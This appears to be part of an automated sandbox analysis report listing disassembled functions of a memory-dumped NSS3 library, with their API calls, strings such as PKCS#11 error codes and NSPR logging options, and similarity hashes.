CKR_PIN_LOCKED, xrefs: 6C682075
CKR_FUNCTION_NOT_PARALLEL, xrefs: 6C68218D
CKR_INFORMATION_SENSITIVE, xrefs: 6C6822B1
CKR_SAVED_STATE_INVALID, xrefs: 6C681E56
CKR_WRAPPED_KEY_LEN_RANGE, xrefs: 6C682319
CKR_ENCRYPTED_DATA_LEN_RANGE, xrefs: 6C681F0F
CKR_NEXT_OTP, xrefs: 6C68222F
CKR_SIGNATURE_INVALID, xrefs: 6C6820CF
CKR_MUTEX_NOT_LOCKED, xrefs: 6C682225
CKR_RANDOM_SEED_NOT_SUPPORTED, xrefs: 6C6822FF
CKR_TOKEN_WRITE_PROTECTED, xrefs: 6C681DE0
CKR_DEVICE_MEMORY, xrefs: 6C681FF3
CKR_PIN_EXPIRED, xrefs: 6C68206B
CKR_OPERATION_NOT_INITIALIZED, xrefs: 6C681FD7
CKR_DEVICE_REMOVED, xrefs: 6C682261

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Print
String ID: rv = %s$ rv = 0x%x$CKR_BUFFER_TOO_SMALL$CKR_CRYPTOKI_ALREADY_INITIALIZED$CKR_CRYPTOKI_NOT_INITIALIZED$CKR_CURVE_NOT_SUPPORTED$CKR_DEVICE_ERROR$CKR_DEVICE_MEMORY$CKR_DEVICE_REMOVED$CKR_DOMAIN_PARAMS_INVALID$CKR_ENCRYPTED_DATA_INVALID$CKR_ENCRYPTED_DATA_LEN_RANGE$CKR_FUNCTION_CANCELED$CKR_FUNCTION_NOT_PARALLEL$CKR_FUNCTION_REJECTED$CKR_INFORMATION_SENSITIVE$CKR_MUTEX_BAD$CKR_MUTEX_NOT_LOCKED$CKR_NEW_PIN_MODE$CKR_NEXT_OTP$CKR_OBJECT_HANDLE_INVALID$CKR_OK$CKR_OPERATION_ACTIVE$CKR_OPERATION_CANCEL_FAILED$CKR_OPERATION_NOT_INITIALIZED$CKR_PIN_EXPIRED$CKR_PIN_INCORRECT$CKR_PIN_INVALID$CKR_PIN_LEN_RANGE$CKR_PIN_LOCKED$CKR_RANDOM_NO_RNG$CKR_RANDOM_SEED_NOT_SUPPORTED$CKR_SAVED_STATE_INVALID$CKR_SIGNATURE_INVALID$CKR_SIGNATURE_LEN_RANGE$CKR_STATE_UNSAVEABLE$CKR_TEMPLATE_INCOMPLETE$CKR_TEMPLATE_INCONSISTENT$CKR_TOKEN_NOT_PRESENT$CKR_TOKEN_NOT_RECOGNIZED$CKR_TOKEN_RESOURCE_EXCEEDED$CKR_TOKEN_WRITE_PROTECTED$CKR_WRAPPED_KEY_INVALID$CKR_WRAPPED_KEY_LEN_RANGE$CKR_WRAPPING_KEY_HANDLE_INVALID$CKR_WRAPPING_KEY_SIZE_RANGE$CKR_WRAPPING_KEY_TYPE_INCONSISTENT
API String ID: 3558298466-1980531169
Opcode ID: c5690aa5ac5e9a32df338c3d89e1c8e6817bbeb78ea90fa1f4ef57579c4423d9
Instruction ID: da3b4e072807a8d919c8bdebd02ccf90b0503af9a225f782f82d2f8772114a3a
Opcode Fuzzy Hash: c5690aa5ac5e9a32df338c3d89e1c8e6817bbeb78ea90fa1f4ef57579c4423d9
Instruction Fuzzy Hash: B261112068F054C7E65C444CB2BE7AC2374BB07315F64823FE7968EE91D695CA8246BF

Function 6C6B5DE0 Relevance: 63.3, APIs: 27, Strings: 9, Instructions: 272COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?), ref: 6C6B5E08
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6C6B5E3F
PL_strncasecmp.NSS3(00000000,readOnly,00000008), ref: 6C6B5E5C
free.MOZGLUE(00000000), ref: 6C6B5E7E
free.MOZGLUE(00000000), ref: 6C6B5E97
PORT_Strdup_Util.NSS3(secmod.db), ref: 6C6B5EA5
_NSSUTIL_EvaluateConfigDir.NSS3(00000000,?,?), ref: 6C6B5EBB
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6C6B5ECB
PL_strncasecmp.NSS3(00000000,noModDB,00000007), ref: 6C6B5EF0
free.MOZGLUE(00000000), ref: 6C6B5F12
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6C6B5F35
PL_strncasecmp.NSS3(00000000,forceSecmodChoice,00000011), ref: 6C6B5F5B
free.MOZGLUE(00000000), ref: 6C6B5F82
PL_strncasecmp.NSS3(?,configDir=,0000000A), ref: 6C6B5FA3
PL_strncasecmp.NSS3(?,secmod=,00000007), ref: 6C6B5FB7
NSSUTIL_ArgSkipParameter.NSS3(?), ref: 6C6B5FC4
free.MOZGLUE(00000000), ref: 6C6B5FDB
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6C6B5FE9
free.MOZGLUE(00000000), ref: 6C6B5FFE
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6C6B600C
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6B6027
PR_smprintf.NSS3(%s/%s,?,00000000), ref: 6C6B605A
PR_smprintf.NSS3(6C78AAF9,00000000), ref: 6C6B606A
free.MOZGLUE(00000000), ref: 6C6B607C
free.MOZGLUE(00000000), ref: 6C6B609A
free.MOZGLUE(00000000), ref: 6C6B60B2
free.MOZGLUE(?), ref: 6C6B60CE

Strings

%s/%s, xrefs: 6C6B6055
pkcs11.txt, xrefs: 6C6B5F47, 6C6B5F7C, 6C6B603A, 6C6B6053
flags, xrefs: 6C6B5E3A, 6C6B5EC6, 6C6B5F30
forceSecmodChoice, xrefs: 6C6B5F55
secmod.db, xrefs: 6C6B5EA0
configDir=, xrefs: 6C6B5F9D
readOnly, xrefs: 6C6B5E56
secmod=, xrefs: 6C6B5FB1
noModDB, xrefs: 6C6B5EEA

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: free$L_strncasecmpValue$Param$FetchR_smprintfisspace$ConfigEvaluateParameterSkipStrdup_Util
String ID: %s/%s$configDir=$flags$forceSecmodChoice$noModDB$pkcs11.txt$readOnly$secmod.db$secmod=
API String ID: 1427204090-154007103
Opcode ID: 2df1fed555c77b8d0b592adcc9dd07939acde645eb808863dd9b1c03eac38ebf
Instruction ID: 8e4ce998018fdc3f5a0a9ee57da4532335ba39161a0b70aadb0a87b8375467fa
Opcode Fuzzy Hash: 2df1fed555c77b8d0b592adcc9dd07939acde645eb808863dd9b1c03eac38ebf
Instruction Fuzzy Hash: F6910BF0A042056BEB019F65DD45BEA3BA86F0634CF080060FD55B7B42E731D526CBAA

Function 6C641D90 Relevance: 45.7, APIs: 16, Strings: 10, Instructions: 182filestringCOMMON

Download Yara Rule

APIs

PR_NewLock.NSS3 ref: 6C641DA3

Part of subcall function 6C7198D0: calloc.MOZGLUE(00000001,00000084,6C640936,00000001,?,6C64102C), ref: 6C7198E5

PR_GetEnvSecure.NSS3(NSPR_LOG_MODULES), ref: 6C641DB2

Part of subcall function 6C641240: TlsGetValue.KERNEL32(00000040,?,6C64116C,NSPR_LOG_MODULES), ref: 6C641267
Part of subcall function 6C641240: EnterCriticalSection.KERNEL32(?,?,?,6C64116C,NSPR_LOG_MODULES), ref: 6C64127C
Part of subcall function 6C641240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C64116C,NSPR_LOG_MODULES), ref: 6C641291
Part of subcall function 6C641240: PR_Unlock.NSS3(?,?,?,?,6C64116C,NSPR_LOG_MODULES), ref: 6C6412A0

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C641DD8
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sync), ref: 6C641E4F
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,bufsize), ref: 6C641EA4
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,timestamp), ref: 6C641ECD
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,append), ref: 6C641EEF
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,all), ref: 6C641F17
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C641F34
PR_SetLogBuffering.NSS3(00004000), ref: 6C641F61
PR_GetEnvSecure.NSS3(NSPR_LOG_FILE), ref: 6C641F6E
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C641F83
PR_SetLogFile.NSS3(00000000), ref: 6C641FA2
PR_smprintf.NSS3(Unable to create nspr log file '%s',00000000), ref: 6C641FB8
OutputDebugStringA.KERNEL32(00000000), ref: 6C641FCB
free.MOZGLUE(00000000), ref: 6C641FD2

Strings

timestamp, xrefs: 6C641EC4
all, xrefs: 6C641F0E
NSPR_LOG_FILE, xrefs: 6C641F69
bufsize, xrefs: 6C641E9B
sync, xrefs: 6C641E46
append, xrefs: 6C641EE6
NSPR_LOG_MODULES, xrefs: 6C641DAD
, %n, xrefs: 6C641E6B
%63[ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-]%n:%d%n, xrefs: 6C641E27
Unable to create nspr log file '%s', xrefs: 6C641FB3

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: _stricmp$Secure$BufferingCriticalDebugEnterFileLockOutputR_smprintfSectionStringUnlockValue__acrt_iob_funccallocfreegetenvstrlen
String ID: , %n$%63[ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-]%n:%d%n$NSPR_LOG_FILE$NSPR_LOG_MODULES$Unable to create nspr log file '%s'$all$append$bufsize$sync$timestamp
API String ID: 2013311973-4000297177
Opcode ID: 7bef9f6799ef8d3d465fa463455c7b65290322a7077239da01cfd2c630a33dc4
Instruction ID: 79fcaf9fef14b468d8e03f1a9735023f3bbf9ec3c43bfd487c92de74903a5a63
Opcode Fuzzy Hash: 7bef9f6799ef8d3d465fa463455c7b65290322a7077239da01cfd2c630a33dc4
Instruction Fuzzy Hash: 1551CFB1E042499BDF00DBE5DD48B9E7BF8AF01309F088528E915DBA01E771D529CB99

Function 6C726E50 Relevance: 44.0, APIs: 19, Strings: 6, Instructions: 213stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5DCA30: EnterCriticalSection.KERNEL32(?,?,?,6C63F9C9,?,6C63F4DA,6C63F9C9,?,?,6C60369A), ref: 6C5DCA7A
Part of subcall function 6C5DCA30: LeaveCriticalSection.KERNEL32(?), ref: 6C5DCB26

memset.VCRUNTIME140(00000000,00000000,?,?,6C5EBE66), ref: 6C726E81
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,6C5EBE66), ref: 6C726E98
sqlite3_snprintf.NSS3(?,00000000,6C78AAF9,?,?,?,?,?,?,6C5EBE66), ref: 6C726EC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,6C5EBE66), ref: 6C726ED2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,6C5EBE66), ref: 6C726EF8
sqlite3_snprintf.NSS3(?,00000019,mz_etilqs_,?,?,?,?,?,?,?,6C5EBE66), ref: 6C726F1F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,6C5EBE66), ref: 6C726F28
sqlite3_randomness.NSS3(0000000F,00000000,?,?,?,?,?,?,?,?,?,?,?,6C5EBE66), ref: 6C726F3D
memset.VCRUNTIME140(?,00000000,?,?,?,?,?,6C5EBE66), ref: 6C726FA6
sqlite3_snprintf.NSS3(?,00000000,6C78AAF9,00000000,?,?,?,?,?,?,?,6C5EBE66), ref: 6C726FDB
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,6C5EBE66), ref: 6C726FE4
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C5EBE66), ref: 6C726FEF
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6C5EBE66), ref: 6C727014
sqlite3_free.NSS3(00000000,?,?,?,?,6C5EBE66), ref: 6C72701D
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,6C5EBE66), ref: 6C727030
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,6C5EBE66), ref: 6C72705B
sqlite3_free.NSS3(00000000,?,?,?,?,?,6C5EBE66), ref: 6C727079
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6C5EBE66), ref: 6C727097
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,6C5EBE66), ref: 6C7270A0

Strings

winGetTempname4, xrefs: 6C727046
mz_etilqs_, xrefs: 6C726F18
Pvl, xrefs: 6C7270A8
winGetTempname1, xrefs: 6C72708F
winGetTempname5, xrefs: 6C727071
winGetTempname2, xrefs: 6C7270C4

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_free$strlen$sqlite3_snprintf$CriticalSectionmemset$EnterLeavesqlite3_randomness
String ID: Pvl$mz_etilqs_$winGetTempname1$winGetTempname2$winGetTempname4$winGetTempname5
API String ID: 593473924-3073947195
Opcode ID: cb9095f18a8b0bbc33208a1004397a298c37fa31d3e2019c7dfe92a7de7ffae1
Instruction ID: c094cd2936e94a87813ad0b07a9e933d8a1ba31693fc8c422700a140831e03f1
Opcode Fuzzy Hash: cb9095f18a8b0bbc33208a1004397a298c37fa31d3e2019c7dfe92a7de7ffae1
Instruction Fuzzy Hash: 69518E71E042115BE7149634AE59FBB362A9FC2318F144538E9059BFC1FF29AA0E82D7

Function 6C688E50 Relevance: 42.2, APIs: 14, Strings: 10, Instructions: 169COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_WrapKey), ref: 6C688E76
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C688EA4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C688EB3

Part of subcall function 6C76D930: PL_strncpyz.NSS3(?,?,?), ref: 6C76D963

PR_LogPrint.NSS3(?,00000000), ref: 6C688EC9
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6C688EE5
PL_strncpyz.NSS3(?, hWrappingKey = 0x%x,00000050), ref: 6C688F17
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C688F29
PR_LogPrint.NSS3(?,00000000), ref: 6C688F3F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6C688F71
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C688F80
PR_LogPrint.NSS3(?,00000000), ref: 6C688F96
PR_LogPrint.NSS3( pWrappedKey = 0x%p,?), ref: 6C688FB2
PR_LogPrint.NSS3( pulWrappedKeyLen = 0x%p,?), ref: 6C688FCD
PR_LogPrint.NSS3( *pulWrappedKeyLen = 0x%x,?), ref: 6C689047

Strings

hSession = 0x%x, xrefs: 6C688E8E, 6C688E9E
C_WrapKey, xrefs: 6C688E71
(CK_INVALID_HANDLE), xrefs: 6C688EAC, 6C688F1F, 6C688F79
pulWrappedKeyLen = 0x%p, xrefs: 6C688FC8
*pulWrappedKeyLen = 0x%x, xrefs: 6C689042
hKey = 0x%x, xrefs: 6C688F5B, 6C688F6B
nvl, xrefs: 6C688FEC, 6C689023
pWrappedKey = 0x%p, xrefs: 6C688FAD
hWrappingKey = 0x%x, xrefs: 6C688F01, 6C688F11
pMechanism = 0x%p, xrefs: 6C688EE0

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulWrappedKeyLen = 0x%x$ hKey = 0x%x$ hSession = 0x%x$ hWrappingKey = 0x%x$ pMechanism = 0x%p$ pWrappedKey = 0x%p$ pulWrappedKeyLen = 0x%p$ (CK_INVALID_HANDLE)$C_WrapKey$nvl
API String ID: 1003633598-2875670105
Opcode ID: 80f55a6c1805cfe34f5b07e2ba1b35a2ba1ab0e68a08df7087f453c5857e3d73
Instruction ID: c05e45639354678bcf95fd6f34a7c161239e47ce9165580414ea61dd78f9234c
Opcode Fuzzy Hash: 80f55a6c1805cfe34f5b07e2ba1b35a2ba1ab0e68a08df7087f453c5857e3d73
Instruction Fuzzy Hash: 1551A531603108ABDB109F55DE4CF9A7B76AB4634CF084035F9096BA62DB309958CBBE

Function 6C6B4FE0 Relevance: 40.4, APIs: 18, Strings: 5, Instructions: 175COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000,00000000,00000001), ref: 6C6B5009
PL_strncasecmp.NSS3(?,library=,00000008,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C6B5049
PL_strncasecmp.NSS3(?,name=,00000005,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C6B505D
PL_strncasecmp.NSS3(?,parameters=,0000000B,?,?,?,?,?,?,?,?), ref: 6C6B5071
PL_strncasecmp.NSS3(?,nss=,00000004,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6B5089
PL_strncasecmp.NSS3(?,config=,00000007,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6B50A1
NSSUTIL_ArgSkipParameter.NSS3(?), ref: 6C6B50B2
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2), ref: 6C6B50CB
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C6B50D9
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C6B50F5
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6B5103
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6B511D
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6B512B
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6B5145
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6B5153
free.MOZGLUE(?), ref: 6C6B516D
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6C6B517B
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C6B5195

Strings

config=, xrefs: 6C6B509B
parameters=, xrefs: 6C6B506B
nss=, xrefs: 6C6B5083
name=, xrefs: 6C6B5057
library=, xrefs: 6C6B5043

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: FetchL_strncasecmpValuefree$isspace$ParameterSkip
String ID: config=$library=$name=$nss=$parameters=
API String ID: 391827415-203331871
Opcode ID: d182cf338c2f259ee0e053820ff7815b2bb40630cabf2d485297a59e27ff4416
Instruction ID: c088cfdb71abb43f6902931d337e96fa8c2bb2ee761274e8767b72fed6dc0859
Opcode Fuzzy Hash: d182cf338c2f259ee0e053820ff7815b2bb40630cabf2d485297a59e27ff4416
Instruction Fuzzy Hash: 5551A5B1A011056BEB00DE64DD45AEE37A8AF16248F140030FC19F7741EB35EA26C7BA

Function 6C6B4C10 Relevance: 40.4, APIs: 13, Strings: 10, Instructions: 146stringmemoryCOMMON

Download Yara Rule

APIs

PR_smprintf.NSS3(%s,%s,00000000,?,0000002F,?,?,?,00000000,00000000,?,6C6A4F51,00000000), ref: 6C6B4C50
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C6A4F51,00000000), ref: 6C6B4C5B
PR_smprintf.NSS3(6C78AAF9,?,0000002F,?,?,?,00000000,00000000,?,6C6A4F51,00000000), ref: 6C6B4C76
PORT_ZAlloc_Util.NSS3(0000001A,0000002F,?,?,?,00000000,00000000,?,6C6A4F51,00000000), ref: 6C6B4CAE
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6B4CC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6B4CF4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6B4D0B
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C6A4F51,00000000), ref: 6C6B4D5E
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C6A4F51,00000000), ref: 6C6B4D68
PR_smprintf.NSS3(0x%08lx=[%s %s],0000002F,?,00000000), ref: 6C6B4D85
PR_smprintf.NSS3(0x%08lx=[%s askpw=%s timeout=%d %s],0000002F,?,?,?,00000000), ref: 6C6B4DA2
free.MOZGLUE(?), ref: 6C6B4DB9
free.MOZGLUE(00000000), ref: 6C6B4DCF

Strings

rust, xrefs: 6C6B4D22
timeout, xrefs: 6C6B4C91
any, xrefs: 6C6B4C96
slotFlags, xrefs: 6C6B4D34
%s,%s, xrefs: 6C6B4C4B
ootT, xrefs: 6C6B4D1A
rootFlags, xrefs: 6C6B4D47
every, xrefs: 6C6B4CA1
0x%08lx=[%s askpw=%s timeout=%d %s], xrefs: 6C6B4D9D
0x%08lx=[%s %s], xrefs: 6C6B4D80

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: free$R_smprintf$strlen$Alloc_Util
String ID: %s,%s$0x%08lx=[%s %s]$0x%08lx=[%s askpw=%s timeout=%d %s]$any$every$ootT$rootFlags$rust$slotFlags$timeout
API String ID: 3756394533-2552752316
Opcode ID: a7840368bc2e853b698ee9a1c64bd70f70e3d3bb33f12e178615af1b8f1463fc
Instruction ID: cc24fd8302f3a4a17570e65b1fd10fcec1edd80f96c817ce2fbd3c31eac68d10
Opcode Fuzzy Hash: a7840368bc2e853b698ee9a1c64bd70f70e3d3bb33f12e178615af1b8f1463fc
Instruction Fuzzy Hash: B5418DB29011416BDB115F689C446BE3BA5AF82758F144134FC1A2BB01E771E934C7EB

Function 6C696CD0 Relevance: 37.0, APIs: 20, Strings: 1, Instructions: 298stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C696910: NSSUTIL_ArgHasFlag.NSS3(flags,readOnly,00000000), ref: 6C696943
Part of subcall function 6C696910: NSSUTIL_ArgHasFlag.NSS3(flags,nocertdb,00000000), ref: 6C696957
Part of subcall function 6C696910: NSSUTIL_ArgHasFlag.NSS3(flags,nokeydb,00000000), ref: 6C696972
Part of subcall function 6C696910: NSSUTIL_ArgStrip.NSS3(00000000), ref: 6C696983
Part of subcall function 6C696910: PL_strncasecmp.NSS3(00000000,configdir=,0000000A), ref: 6C6969AA
Part of subcall function 6C696910: PL_strncasecmp.NSS3(00000000,certPrefix=,0000000B), ref: 6C6969BE
Part of subcall function 6C696910: PL_strncasecmp.NSS3(00000000,keyPrefix=,0000000A), ref: 6C6969D2
Part of subcall function 6C696910: NSSUTIL_ArgSkipParameter.NSS3(00000000), ref: 6C6969DF
Part of subcall function 6C696910: NSSUTIL_ArgStrip.NSS3(?), ref: 6C696A5B

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C696D8C
free.MOZGLUE(00000000), ref: 6C696DC5
free.MOZGLUE(?), ref: 6C696DD6
free.MOZGLUE(?), ref: 6C696DE7
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C696E1F
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C696E4B
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C696E72
free.MOZGLUE(?), ref: 6C696EA7
free.MOZGLUE(?), ref: 6C696EC4
free.MOZGLUE(?), ref: 6C696ED5
free.MOZGLUE(00000000), ref: 6C696EE3
free.MOZGLUE(?), ref: 6C696EF4
free.MOZGLUE(?), ref: 6C696F08
free.MOZGLUE(00000000), ref: 6C696F35
free.MOZGLUE(?), ref: 6C696F44
free.MOZGLUE(?), ref: 6C696F5B
free.MOZGLUE(00000000), ref: 6C696F65

